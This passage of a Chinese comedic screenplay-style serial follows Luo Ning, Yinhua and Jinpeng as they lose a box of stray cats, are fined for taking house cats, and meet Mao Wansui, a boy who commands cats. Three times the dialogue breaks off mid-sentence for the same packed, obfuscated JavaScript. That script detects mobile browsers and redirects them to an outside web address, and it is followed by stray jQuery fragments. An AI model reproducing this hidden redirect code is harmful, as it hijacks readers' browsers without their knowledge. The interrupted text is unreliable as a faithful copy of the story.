金鹏:银华,我哥如今生死难料,咱们还是别耽搁了,边走边说吧。 银华:(生气了)不想耽搁是吗?那就别住店了,连夜赶路岂不是更快?(指着后面的那个木箱子)还有那些猫,带着它们干什么?就只会拖后腿! 灰姑娘像是听懂了,不高兴地喵呜了一声。 银华:(瞪着灰姑娘)你叫什么呀?我说错了吗?你们这些家伙,一路上除了吃喝拉撒睡之外,还会什么?若没有你们,这会儿咱们早就到博州了! 灰姑娘大叫一声,扑上去对着银华又抓又咬。 银华:(怒吼)死猫!滚开! 洛宁:(喊)灰姑娘!快回来! 马车上顿时乱作一团…… 84.第九篇 猫皇大人 关州,幽远城 9-6 客栈,客房(夜,内) 人物:银华、金鹏 银华双臂交叉抱在胸前,气呼呼地坐着。 金鹏:银华,时候差不多了,咱们去抓猫吧。 银华:去什么去,不去! 金鹏:你呀你,跟一只猫较什么劲儿呀? 银华:那是猫吗?那是一只白眼狼!(指着自己的左脸)就冲着它今天在我脸上留下的这三道口子,以后别指望我再给它喂鱼了!哼! 金鹏:真不去呀? 银华:不去! 金鹏:那行吧,你先歇着,我一个人去。 银华:你也不许去! 金鹏:可是宁儿…… 银华:咱们替她办事,她却什么都不肯告诉咱们,这样公平吗? 金鹏:今天若不是因为你跟灰姑娘打了起来,没准儿她已经说了。 银华:那就等她说了咱们再去! 金鹏:何苦呢? 银华:你不想知道咱们来这里干什么吗?你不想你哥早点儿回去吗?你不想…… 金鹏:(打断)得得得,你别说了,我明白你的意思。你全是为了我好,我听你的!唉! 9-7 客栈,后院(日,外) 人物:银华、金鹏、洛宁 早上,银华和金鹏刚从楼上下来,就看见洛宁急匆匆地从后院跑了进来,见到他俩,张口便问。 洛宁:银华!猫呢? 银华:猫?什么猫?灰姑娘不是跟你在一起吗? 洛宁:我说的是箱子里的猫! 银华:箱子里的猫?不都在里面吗? 洛宁:你自己去看看,全没了! 银华:全没了?怎么可能! 三个人来到后院,见箱子的门敞开着,里面空荡荡的,一只猫也没有。 银华:(问洛宁)怎么回事?猫呢? 洛宁:你问我我问谁呀!我来的时候,就已经是这个样子了! 银华:(查看箱门)这门栓怎么掉了? 洛宁:你说呢?你俩昨晚干什么了? 金鹏:(皱起眉头)银华,是不是你干的呀? 银华:(两眼一瞪)我干的?你凭什么这么说? 金鹏:不是你说要把这些猫全放了吗? 银华:我…… 洛宁:(指着银华)噢,原来是你呀! 银华:你别听他胡说!我只是说说而已,又没有真的去做! 洛宁:你没做?那这个箱子是怎么回事?猫呢?难不成它们自己跑了呀? 银华:有何不可?它们是流浪猫,又不是家猫,本来就野性难驯,如今被你关在箱子里,能不找个机会逃跑吗? 洛宁:谁给它们的机会?是不是你? 银华:我昨晚压根儿就没来这里! 话刚出口,银华便意识到自己说漏了嘴。 洛宁:你俩昨晚不是去抓猫了吗?怎么会没来这里? 银华:这…… 洛宁:金鹏,怎么回事?你俩是不是又偷懒了? 银华:什么叫又偷懒了?只不过歇了一个晚上而已…… 洛宁:歇了一个晚上,猫就不见了,真巧啊! 银华:丫头,这些猫是我辛辛苦苦抓回来的,放了它们,对我有什么好处? 洛宁:不就是因为灰姑娘挠了你的脸吗?你对它怀恨在心,所以把它的朋友全赶走了! 银华:我对一只猫怀恨在心?我有那么小心眼儿吗? 洛宁:除了你还能有谁?像这种荒唐事儿,也就只有你能干的出来! 银华:客栈里这么多人,你怎么不说是他们干的? 洛宁:他们为何要干这个? 银华:他们为何不能干这个? 见二人越吵越凶,金鹏急忙从中劝和。 金鹏:得得得,你俩别吵了!要不这样,我去问问客栈掌柜,看他知不知道这件事。 洛宁/银华:那你还不快去! 9-8 客栈,大堂(日,内) 人物:金鹏、银华、洛宁、客栈掌柜 三个人来到大堂,向掌柜打听情况。 客栈掌柜:(呵呵一笑)我说昨晚怎么那么安静,原来是猫跑了呀!(见他们正瞪着自己,又收起笑容)哦,是这样的,昨晚我一直在大堂里,没去过后院。 洛宁:那你有没有看见谁去过后院? 客栈掌柜:(想了想摇摇头)这个嘛……好像没有。 金鹏:伙计呢?他看见了没? 客栈掌柜:如果看见了,他不可能不说。 银华:厨子呢?他不是一直在后院里忙活吗? 客栈掌柜:他家就在这附近,晚上不住在这里。 银华:照你这么说,昨晚后院根本就没人,可那些猫却不见了,你觉得我会信吗?掌柜的,你可不要忘了,咱们付给了你双倍的房钱,如今咱们的东西丢了,不找你找谁呀? 客栈掌柜:你们找我也没用,我是真的不知道!再说了,那些都是野猫,丢了的话,再去抓几只回来不就行了! 银华:说得倒轻巧,你怎么不去抓呀? 客栈掌柜:要不这样,我把房钱退给你们,你们去附近找找,兴许还能再把它们抓回来呢! 无奈之下,三个人只好离开客栈,前往城中搜寻,结果却是一只猫也没看见。为了不耽误行程,他们又坐上马车,继续往前走。 关州,郊外 9-9 马车车厢(日,内) 人物:洛宁、银华、金鹏 见洛宁一路上都不肯搭理他,银华只好低头认怂。 银华:丫头,别生气了!全是我的错,怪我没把那些猫看好。不过你放心,大不了今晚我不睡觉了,非给你弄一箱子猫回来不可! 洛宁:(气呼呼地瞪着他)此话当真? 银华:嘿嘿,你就等着瞧吧! 关州,建荒城 9-10 街道上(夜,外) 人物:银华、金鹏 银华和金鹏在大街小巷里搜寻着流浪猫。 金鹏:怎么样?抓到了几只? 银华:才三只,你呢? 金鹏:我连三只都没抓到。 银华:照这样下去,咱俩就算是折腾到天亮,也抓不到那么多只猫。 金鹏:实在不行的话,咱俩再去城外瞧瞧。 银华:(摇摇头)之前咱们连走了几座城才抓到了那些猫,如今你想在一座城里就抓到那么多,难! 金鹏:可是你已经答应宁儿了。 银华:不答应能行吗?那丫头的指甲,可比灰姑娘的爪子尖多了。我这左脸上已经有三道口子了,如果右脸上再多出三道口子,以后还怎么见人呀? 金鹏:(忍不住笑了)那你快想想办法吧! 银华:(无奈地叹口气)唉,只能这样了。 金鹏:什么? 银华:走!咱们去抓家猫! 9-11 客栈,走廊上(日,内) 人物:洛宁、金鹏、银华 一大早,洛宁刚从客房里出来,银华和金鹏便在外面等着她了。 银华:(堆起笑脸)丫头,起来了呀?昨晚睡得怎样?有没有做个好梦? 洛宁:(板着脸)猫呢? 银华:嘿嘿,早就抓回来了。而且这一回,为了避免它们再次脱逃,我还特意给门上加了把锁。(拿出钥匙在洛宁眼前晃了晃)你瞧!钥匙在这儿呢!我敢说,这回它们就算是插上翅膀,也逃不出那个箱子!嘿嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009209|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 洛宁:(方才露出笑容)真的吗?抓了几只? 银华:你去看看不就知道了,嘿嘿,包你满意! 9-12 客栈,后院(日,外) 人物:洛宁、银华、金鹏、客栈掌柜、捕头及其手下、老妇人 三个人来到后院,见箱子里的前面,竟站着一行官差,为首的那个人穿着捕头的衣裳,而客栈掌柜就在他旁边。 洛宁:(皱起眉头)怎么回事? 捕头:(指着三人问客栈掌柜)是他们吗? 客栈掌柜:(点点头)正是。 捕头走上前来,指着箱子问他们。 捕头:这个箱子是你们的吗? 银华:是啊,怎么了? 捕头:有人告你们入户盗窃。 洛宁:(吓了一跳)入户盗窃?又是这个?银华,怎么回事? 银华:这位官爷,您是不是弄错了?这个箱子里面装的全是猫,没什么值钱的东西。 捕头:丢的就是猫。 洛宁:丢的就是猫?银华,我不是让你们去抓流浪猫吗? 银华:我们抓的就是流浪猫!(对着捕头)您若是不信的话,我打开箱子给您瞧瞧。 银华走上前去,用钥匙打开门,里面果然有十几只猫,全是一副脏兮兮的样子。 银华:看见没?又脏又臭,谁家的猫长这副样子? 站在官差身后的老妇人,轻轻叫了一声,迈着小碎步走上前去,将一只橘猫心疼地搂进怀里。 老妇人:大黄,我的儿!原来你在这里!可把娘担心坏了!(指着银华忿忿地)你们这几个小贼,竟敢偷走我的大黄,真是太可恨了!(对着捕头)大人,您可千万别放过他们! 银华:老婆婆,您是不是认错了?这只猫是我在野地里发现的,当时它正在草堆里打滚儿呢!再说了,您的头发是灰的,它的毛是黄的,怎么看也不像是亲生的呀! 捕头:这位婆婆就住在我们县衙附近,这只猫她养了很多年了,每回我从她门前经过,都能看见这只猫,就算她认错了,我也不会认错! 洛宁:银华,到底怎么回事? 没等银华开口,只听捕头一声令下。 捕头:来呀!把他们全带走! 三个人被押送到县衙,面对失主的指证,不得已认了罪,将猫还给了失主,又缴纳了一大笔罚金之后,县太爷方才准许他们离开。 关州,郊外 9-13 马车车厢(日,内) 人物:洛宁、金鹏、银华 因为猫的事,三个人都有些垂头丧气。 金鹏:唉,这下可好,不仅猫全被没收了,还罚了咱们一大笔钱。 银华:当初我就说不该带着它们,净给咱们添麻烦! 洛宁:给咱们添麻烦的到底是谁?是它们还是你? 银华:我不也是没办法嘛!一座城里哪来那么多流浪猫?再说了,你已经有灰姑娘了,还要那么多流浪猫干什么? 洛宁:不是说了吗?它们是灰姑娘的朋友,我要它们给灰姑娘做个伴儿。 银华:你问过灰姑娘的意思没?也许她只想当个独生女呢! 灰姑娘像是听懂了,抬起头喵呜了一声。 银华:看见没?被我说对了! 洛宁:(脚踢银华)去你的! 金鹏:宁儿,那接下来咱们还抓不抓猫呀? 银华:抓什么呀?还嫌这一路上没折腾够啊! 洛宁:抓!一定要抓! 银华:丫头,你到底在想什么呢?你要是觉得闷的话,咱们再弄只狗来玩玩,何必非要跟猫过不去呢? 灰姑娘又抬起头喵呜了一声。 洛宁:看见没?灰姑娘不喜欢狗,你俩还是去抓猫吧! 85.第九篇 猫皇大人 关州,素良城 9-14 客栈,大堂(夜,内) 人物:洛宁、银华、金鹏、客栈掌柜 客栈掌柜瞅了一眼洛宁怀里的灰姑娘,摇摇头。 客栈掌柜:几位客官,真不好意思,你们带着猫,小店怕是不能收留你们。 银华:一只猫而已,不会惊扰旁人。 客栈掌柜:一只猫也不行!这不仅仅是小店的规矩,整个素良城里所有的客栈,都是这样的规矩。 洛宁:怎么会有这样的规矩?难道你们不养猫吗? 客栈掌柜:这位姑娘,您说对了!在这座城里,没人敢养猫。 洛宁:哦,为何? 银华:是啊,难不成在你们这里养猫还犯法呀? 客栈掌柜:倒不犯法,却犯了知县大人的忌讳。 洛宁:知县大人的忌讳?什么意思? 客栈掌柜:这位姑娘,您有所不知,在咱们这座城里,有一位知县大人,他肖鼠,与猫是天敌,不仅自己从来不养猫,还下令全城的百姓都不许养猫。如果被他听见哪户人家里有猫叫声,那可是要受刑的。 银华:受刑?受什么刑? 客栈掌柜:猫刑。 银华:猫刑? 客栈掌柜:对呀,猫刑! 银华:(问洛宁)猫刑是什么刑?你知道吗? 洛宁:(摇摇头)我在督察府里干了这么久,还从来没听说过。 银华:(问客栈掌柜)掌柜的,那你倒是说说,什么是猫刑? 客栈掌柜:简单地说,就是像猫一样活着。 银华:像猫一样活着?(瞅了一眼洛宁怀里的灰姑娘)有吃有喝有人伺候,日子过得还不赖嘛! 客栈掌柜:还不赖?呵呵,这位客官,如果让您在众目睽睽之下,穿上一身猫皮,用四肢行走,不许说人话,只许学猫叫,白天待在树上,晚上在大街小巷里捉老鼠。您觉得这是好事吗? 银华:还有这样的刑罚?谁想出来的? 客栈掌柜:还能是谁?当然是知县大人了! 洛宁:刚才过来的时候,我见那边有三棵树,树梢上挂着几张网,是不是用来行刑的? 客栈掌柜:您说对了!那三棵树位于咱们这座城的中央,不管是谁、从什么地方,都能看见它们。换句话说,一旦被处以猫刑,虽然不伤及性命,却也十分丢脸,会成为全城的笑柄。 洛宁:有人试过吗? 客栈掌柜:禁令刚刚颁布的时候,大家都没当回事儿,以为不过是知县大人一时的心血来潮。直到几个猫养得最多的人、被处以猫刑之后,大家方才恐慌了起来,纷纷把猫送走了。 洛宁:送走了?送给谁了? 金鹏:估计是丢在了荒郊野外,任其自生自灭。 银华:(对灰姑娘道)灰姑娘,你听见没?你要是生在这座城里,早就变成流浪猫了。 灰姑娘害怕地喵呜了一声,往洛宁的怀里缩了缩,客栈掌柜见了,立马就慌了。 客栈掌柜:几位客官,你们还是快走吧!如果被人听见我这里有猫叫声,那我可就惨了! 三个人悻悻地离开了客栈,又去城里其他地方打听了一番,结果都一样,没人肯收留他们,无奈之下,他们只好坐上马车,继续前行。 关州,郊外 9-15 马车车厢(夜,内) 人物:洛宁、银华、金鹏 望着窗外越来越浓的夜色,银华故意长长地叹了口气。 银华:唉,没办法!今晚只好住在马车上了。 洛宁:银华,你什么意思? 银华:丫头,现在你明白到底是谁在给咱们添麻烦了吧?(指着灰姑娘)就是它!哼! 灰姑娘又想朝银华扑过去,却被洛宁摁住。 洛宁:灰姑娘,别理他!咱们好女不跟男斗,哼! 银华:唉,幸好肖鼠的只是县太爷,若是连皇上也肖鼠的话,在咱们沉香国里,猫怕是要绝迹了。 洛宁:皇上才不会像县太爷这般糊涂呢! 银华:县太爷不是他任命的吗? 洛宁:银华!你要是想住客栈的话,大可以去住,没人拦着你。我带灰姑娘住在马车上,这样总行了吧? 金鹏:那我也住在马车上吧! 银华:喂喂喂,你俩跟我较什么劲呀?(指着灰姑娘)害得咱们住不成客栈的是它,又不是我…… 话没说完,灰姑娘已经扑了上去。 银华:死猫!又来?这回我可不会让着你了! 银华早有防备,一拳挥过去,竟将灰姑娘从窗户里打飞了出去。 洛宁:灰姑娘?!快停车! 马车停了下来,三个人匆匆下车寻找,却不见灰姑娘的踪影。 洛宁:灰姑娘!灰姑娘!灰姑娘!…… 银华:不对呀!刚刚它就是从这里掉下去的,怎么一会儿就不见了! 洛宁:它是猫不是人,你以为它会在这里等着咱们呀! 金鹏:(环顾四周)天这么黑,周围又全是林子,想找到它的话,怕是不太容易。 银华:唉,猫就是猫,跟狗比差远了!这要是狗的话,我只需轻轻地唤一声,它立马就屁颠屁颠地跑过来了,哪像…… 洛宁:(冲着银华吼)你说够了没?还不快去找猫!找不到的话,你也别回来了!哼! 见洛宁发火,银华自知理亏,也不敢多说,只好带着金鹏钻进林子里,去找灰姑娘了。 9-16 树林(夜,外) 人物:银华、金鹏、猫万岁 银华和金鹏一边唤着灰姑娘的名字,一边在林间细细地寻找。 银华:唉,金鹏,你说这丫头到底怎么了?这一路上,她的心思全都用在猫身上了,还记不记得咱们来这里是干什么吗? 金鹏:我也有些不太明白。(心头一动)咦,你说我哥的失踪会不会跟猫有关? 银华:跟猫有关?那你倒是说说,有何关系? 金鹏:我哪知道呀! 银华:金鹏,如果你哥的失踪真的跟猫有关,那我倒要问问你,天底下到处都是流浪猫,咱们为何要来这里抓?在凤凰城里不也一样能抓吗? 金鹏:嗯,也是啊。其实这一路上,见她这副样子,我的心里还真是越来越没底。 银华:当初我就说让你留在凤凰城里等消息,你却非要跟过来,这下后悔了吧? 金鹏:唉,事已至此,后悔又能怎样?我只求老天保佑,让我哥能活得好好的,直到咱们找到他。 又往前走了一段,林子的深处,忽然出现一个个红色的光点,越来越多、越来越近,密密麻麻,从上到下、从左到右,将他俩团团围住。 银华:什么东西? 金鹏:像是……萤火虫? 银华:萤火虫?怎么会有这么多?哪里来的? 话没说完,却听黑暗中一个男人的声音道. “哼!你们这两个家伙,我没去找你们,你们却自己送上门来了!” 银华:(吓了一跳)谁?谁在说话? 金鹏:看来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009210|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林子里除了我们之外,还有别的人。 银华:喂喂喂,你到底是谁? “我是谁?你们虽然没见过我,可咱们已经打过两回交道了。” 银华:两回交道?(问金鹏)金鹏,你认识他呀? 金鹏:我以为你认识他呢! 银华:喂,这位兄弟,你到底是谁?报上名来!(压低声音对金鹏)不过话说回来,这个时候出现在这种地方,肯定不是什么好东西! “你俩才不是什么好东西呢!” 银华:呀,我这么小的声音你居然也听见了?(又皱起眉头)咦,不对呀!怎么是个小孩儿在说话? 金鹏:刚才还是个男人,怎么一下子就变成小孩儿了?难道他们有两个人? 银华:甭管他们有几个人,躲在林子里不敢现身,就是没种! “你敢再说一遍试试?哼!” 一个十二三岁的男孩,怒气冲冲地从林子里走了出来,他双手叉腰,恼火地瞪着银华。 银华:呀,还真是个小毛孩儿呀!小子,你爹呢?快把他叫出来! 猫万岁:只有我一个人! 银华:只有你一个人?(将猫万岁上下打量了一番)噢,我明白了!你想吓唬我们,所以扮成大人在说话。 猫万岁:(眉毛一挑)是又怎样! 银华:唉,不过很可惜,我们一点儿也不怕你。 猫万岁:你们不怕我?那它们呢?你们怕不怕? 猫万岁冷笑一声,用手指着林子里那些红色的光点。 银华:不就是萤火虫吗?有什么好怕的?你要是害怕的话,叫我一声爷爷,我还可以罩着你呢! 猫万岁:哼,只有你们这两个笨蛋,才会把猫看成了萤火虫! 金鹏:猫? 银华:(两眼一瞪)臭小子,你骂谁呢? 银华正欲上前教训猫万岁,却见林子里那些红色的光点,朝他俩这边逼近了过来,借着月光,他俩终于看明白了,那些不是什么萤火虫,而是一颗颗猫眼,闪着瘆人的寒光。 银华:哪里来的这么多只猫? 猫万岁:(一脸得意)怎么样?是不是害怕了? 银华:你养的呀?我可告诉你,素良城的县太爷最讨厌猫了,你可千万别带着它们往那里去! 猫万岁:我带着它们,就是要去素良城! 金鹏:那里不许养猫!你们去了,不仅它们会被赶出来,连带着你也要受刑。 猫万岁:哼!你们这两个偷猫贼,明明只会害猫,别假惺惺地装出一副关心猫的样子,我是不会信的! 银华:等等!你刚才说什么?偷猫贼?你怎么知道这事?谁告诉你的? 猫万岁:刚才不是说了吗?咱们已经打过两回交道了。 银华:两回交道?什么意思?小子,你过来!给我说个明白! 猫万岁:第一回,在朋来客栈,你们的猫,是我偷偷放走的。 银华/金鹏:(吃了一惊)什么?! 猫万岁:第二回,在建荒城,县衙里的那一状,也是我去告的。 银华:死孩子!不学好!(撸起袖子)今儿我非替你爹教训你一顿不可! 没等银华揪住猫万岁,那些猫已率先扑了过来,张牙舞爪,凶神恶煞,对准银华和金鹏又抓又咬,仿佛要置他俩于死地。二人见了,不敢大意,便撇下猫万岁,去应付那些猫。见他俩与猫缠斗,猫万岁在一旁哈哈大笑。 猫万岁:哈哈哈!你们这两个偷猫贼,今时今日,就是你们的死期!哈哈哈! 86.第九篇 猫皇大人 关州,郊外 9-17 马路上(夜,外) 人物:洛宁、银华、金鹏、猫万岁 当银华和金鹏带着猫万岁从林子里钻出来时,洛宁差点儿认不出他们了。只见他们的头上和身上沾满了猫毛,衣裳也被猫抓破了,模样十分狼狈。 洛宁:我让你们去找猫,你俩干什么去了?(指着猫万岁)还有他,又是谁? 银华:丫头,你往咱们的身后瞧瞧。 洛宁探出头去,瞅了一眼银华的背后,只见林子里到处都是猫,虎视眈眈地盯着他们。 洛宁:(吃了一惊)呀,怎么会有这么多只猫?哪里来的? 银华:(指着猫万岁)都是这个浑小子养的! 洛宁:灰姑娘呢?你们找到它了没? 银华:(指着自己的右脸)看见我脸上这三道口子了没?那家伙混在这群猫里面,趁机偷袭我!总有一天,我会把它给炖了!哼! 猫万岁:我就知道你们抓那些猫,是为了吃掉它们!哼! 银华:(恶狠狠地瞪着猫万岁)我不仅要吃掉它们,我还要连你也一起吃掉!哼! 林子里的那些猫,像是听懂了银华的话,又蠢蠢欲动起来。 银华:(冲着它们吼)怎么?又想打?信不信老子把你们一起炖了!哼! 他这一声吼,倒也震住了那些猫,纷纷安静了下来。 银华:小子,就凭这几只猫也想对付老子?做梦吧你! 洛宁:(将他们上下打量了一番)怎么回事呀?弄了半天,你俩刚才在林子里,是在跟猫干架呀? 银华:你怎么不问问这小子呢?你知道他有多坑人吗? 洛宁:怎么了?他干什么了? 银华:干什么了?他把天底下的坏事都干尽了! 猫万岁:是你们抓猫在先!哼! 银华:我们抓猫怎么了?关你屁事! 洛宁:到底怎么回事?银华,你能不能好好说话呀? 银华:我看见他就气不打一处来!哼! 金鹏:宁儿,是这样的。这孩子放走了咱们的猫,又去县衙里告了咱们一状。 洛宁:啊!(吃惊地问猫万岁)这些全是你干的?你为何要干这个? 银华:当初你还怪我放走了那些猫,现在知道我是被冤枉的吧!(指着猫万岁)这小子见咱们抓猫,以为咱们要吃它们,便一路悄悄地跟着咱们,故意给咱们使绊子! 猫万岁:你们这些家伙我见多了,没一个好东西! 银华:臭小子,你敢再骂一句试试?信不信我打烂你的嘴! 猫万岁:偷猫贼! 银华:你…… 银华扬手要打,却被洛宁拦住。 洛宁:银华,他还是个孩子,你就算是打赢了他,也不光彩呀! 银华:孩子?呵呵,你有所不知,咱们都小瞧他了!你知道他接下来要干什么吗?他打算带着他的猫,去素良城的县衙里找茬儿! 洛宁:找茬儿?为何?你有什么冤情吗? 猫万岁:(理直气壮地)姓康的那个老头儿,把猫从城里赶了出去,我也要把他从县衙里赶出去!哼! 洛宁:又是因为猫。这些猫对你有恩吗?你怎么会这么看重它们? 猫万岁:我们是一家人! 听了这话,银华竟笑了起来。 银华:丫头,你仔细瞧瞧,这孩子跟那些猫还真有些像。你瞧他的耳朵,尖尖的,还会动。还有他的屁股后面,怎么也有一条尾巴呀?喂,小子,你是不是为了跟这些猫在一起,故意扮成了这样? 猫万岁:我天生就长这样! 银华:天哪!这尾巴……真是你的呀? 银华伸手去捏那条尾巴,尾巴却扬起来,将他的手打了回去。 银华:呀,不是假的呀?小子,你怎么长这样?你到底是人还是猫? 猫万岁:他们都说我是个怪人,可我觉得我就是一只猫。 洛宁:你叫什么名字? 猫万岁:我的名字?说出来吓死你们! 银华:(忍不住笑了)那你快说出来让我听听,看能不能吓死我。 猫万岁:哼!你们几个,都给我竖起耳朵听清楚了!(一字一顿地)我叫猫、万、岁! 银华:猫万岁?哈哈哈哈…… 银华哈哈大笑,这令猫万岁十分不解。 猫万岁:你笑什么呀? 银华:人只能活百年,猫却想活万年,凭什么? 猫万岁:我这个万岁,是万岁万岁万万岁的意思!怎么样?是不是很威风啊? 银华:唉呀妈呀,原来是皇上驾到!(对着洛宁和金鹏)快快快,都跪下来!给皇上请安! 洛宁:去你的!(问猫万岁)这个名字谁给你取的?也不怕犯了皇上的忌讳? 银华:他这么小的年纪,就敢去县衙里闹事了,若再大一些,岂不是要造反? 猫万岁:谁敢跟猫过不去,我就敢跟谁过不去!甭管是县太爷还是皇上,来一个我杀一个!哼! 银华:你连我都杀不了,还想杀皇上?别逗了! 猫万岁:天底下的猫都归我管,我若把它们全召集起来,就算是皇上来了,也拿我没辙!哼! 洛宁:你能召集猫? 银华:就凭他?别吹牛了! 猫万岁:(指着林子里的猫)这些猫不就是我召集过来的吗? 银华:这才几只呀?给它们两条小鱼干,自然就跟你走了。 猫万岁:你的猫不也在里面吗?有本事你把它叫出来呀! 银华:我的那只猫是白眼狼,叫它也不会出来! 灰姑娘不高兴地喵呜了一声。 洛宁:(一眼看见了灰姑娘)灰姑娘!快过来! 灰姑娘正欲上前,却听猫万岁道。 猫万岁:不许过来! 听了这话,灰姑娘竟然乖乖地止住了脚步。 银华:天哪!它真听你的?(对灰姑娘道)灰姑娘,你的主子在这儿呢!你为何要听他的?快过来!有我们给你撑腰,他不敢把你怎样! 灰姑娘怯怯地叫了一声,还是不敢上前。 洛宁:灰姑娘,快过来!你的肚子饿了吧?我给你准备了好吃的。 洛宁拿出小鱼干,在灰姑娘的眼前晃了晃,灰姑娘舔了舔嘴巴,想吃却不敢上前。 银华:咦,怪了!猫不是吃鱼的吗?怎么它们都不动心呀? 猫万岁:只要我不开口,它们就算是饿死,也不会吃你们的东西。 银华:真的这么管用?那行,你来喂一个试试。 银华把小鱼干递给猫万岁,猫万岁接过来扔到灰姑娘的面前。 猫万岁:给!吃吧! 灰姑娘飞快地上前,将小鱼干一口吞了下去。 银华:我的天哪!这家伙真听你的!这么说来,它刚才偷袭我,也是你下的命令?臭小子,你瞧瞧我的脸,左边三道口子、右边三道口子,这笔账怎么算? 洛宁:(指着银华笑道)嘻嘻,也是啊!这么对称,就像一对猫胡子!恭喜你哟,成了它们中的一员! 猫万岁:(对着银华)小子,看在你这对猫胡子的份上,本皇可以恩准你加入我们。你的功夫还不错,明天我们去攻打县衙,你也一起去吧! 银华:宁儿,这孩子疯了,你快给他治治吧! 洛宁将猫万岁细细打量了一番。 洛宁:万岁,你真能召集天底下的猫? 猫万岁:你若不信的话,明天跟我去一趟县衙,我让你们见识见识。 洛宁:行呀,我陪你走一遭。 银华:丫头,他一个小孩子不懂事,你怎么也不懂事呀?攻打县衙,要是被抓住了,可是要杀头的! 洛宁:我们不进去,让猫进去不就行了? 猫万岁:猫在我在,我要跟它们一起进去! 洛宁:留得青山在,不怕没柴烧。你若是被抓了,它们怎么办? 猫万岁:我的猫胜过十万精兵,他们抓不住我! 银华:得了吧,小子!你刚才不就被我们抓住了吗?还有这些猫,不也被我们治得服服帖帖吗?你瞧瞧它们,没一个敢上来跟我们叫板儿! 猫万岁:我知道,你俩是高手,可那些衙役们不是啊!要不这样,我给你们每人十条小鱼干,你们替我卖命吧! 银华和金鹏互相对望了一眼,都忍不住笑了。 银华:十条小鱼干?你也不瞧瞧,够我们塞牙缝吗? 猫万岁:那就二十条,怎么样?这下够了吧? 银华:丫头,你听听!这小子把我和金鹏当成了猫,想收买我们呢! 洛宁:万岁!他俩这么大的个子,十条小鱼干怕是吃不饱。要不这样,咱们商量一下,互帮互助怎么样? 猫万岁:互帮互助?什么意思? 洛宁:就是我让他俩跟你一起去攻打县衙…… 银华:喂喂喂,丫头!你没事吧?不是说了干这个要掉脑袋吗?你不劝他收手,居然还让咱俩去帮他? 金鹏:是啊,宁儿,这要是被总会知道了,咱俩都会被扫地出门。 洛宁:乔装改扮一下,没人认得出你们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009211|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不说你们不说,谁会知道呀! 猫万岁:(拍手笑道)那就这样定了! 银华:(给了猫万岁一巴掌)定你个头啊!我不答应! 金鹏:宁儿,要不咱们还是别管这事了。 银华:说得没错,让这个臭小子自己折腾去! 洛宁:唉,既然你俩都不肯去,那就只好我跟他去了。如果我被抓住了,你俩记得来救我哟! 银华:你…… 洛宁:万岁,走吧!咱俩去素良城,让我见识一下你和你这些精兵猛将的厉害! 猫万岁:好嘞,咱们走!(冲银华和金鹏做了个鬼脸)连个女人都不如,真是孬种! 银华/金鹏:臭小子,你给我站住! 洛宁笑了,她知道经过这么一激将,银华和金鹏就算是不乐意,也不得不去了。 9-18 马车车厢(夜,内) 人物:洛宁、银华、金鹏、猫万岁 四个人正在讨论如何攻打县衙。 猫万岁:白天去! 银华:晚上去! 猫万岁:白天衙门里人多,仗才打得过瘾! 银华:你手下的那帮精兵猛将都是夜行侠,白天只会睡大觉,去了能干嘛?等着被抓吗? 洛宁:万岁,不许养猫的命令是县太爷下的,其他人只是奉命行事。你想替猫报仇,只需将县太爷教训一顿就行了,何必非要殃及其他人呢? 银华:丫头,你倒是说说,你打算怎么教训县太爷? 洛宁:(想了想)要不……让他也尝尝猫刑的滋味儿? 猫万岁:咦,这个主意好! 银华:行呀!把他绑起来吊在那棵最高的树上,让全城的百姓都来看他的笑话!问题是,你俩打算怎么抓他呀? 猫万岁:(对着银华和金鹏)我带着猫冲进县衙,引开那些衙役们,你俩去抓县太爷,怎么样?这叫声东击西,是不是很高明呀? 银华:(指着洛宁问猫万岁)她呢?她干什么? 猫万岁:她不会功夫,去了也帮不上忙。(想了想)要不……就让她留在城外接应咱们,顺便替我喂一下猫。 银华:呵呵,你就不怕她先溜了? 猫万岁:不是还有你们吗?她就算是不管我,也不能不管你们呀! 银华:这丫头跟她的猫一模一样,从来只管她自己。一旦咱们仨进了城,她掉头就走了。到那时,咱们仨成了反贼,她却一点儿事都没有,太便宜她了! 猫万岁:嗯,也是啊,那还是带上她吧! 银华:嘿嘿,这样就对了!(瞅着洛宁笑道)不求同年同日生,但求同年同日死,是不是呀丫头? 洛宁:(白了他一眼)银华,你可真够哥们儿呀! 银华哈哈大笑。 金鹏:其实,还有一件事。 猫万岁:什么? 金鹏:从县衙到那三棵树之间,还有一段路程,咱们送县太爷过去时,如果有人出来阻拦,怎么办?我可不想伤及无辜! 银华:(问猫万岁)小子,你打算跟全城的人开战吗? 